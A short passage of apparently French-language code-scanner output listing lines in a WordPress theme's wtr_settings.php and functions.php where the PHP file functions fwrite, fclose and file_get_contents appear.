Ligne181: fwrite( $file, $css );

fclose trouvé dans le fichier wtr_settings.php.

Ligne182: fclose( $file );

file_get_contents trouvé dans le fichier functions.php.

Ligne15: $data = file_get_contents($m);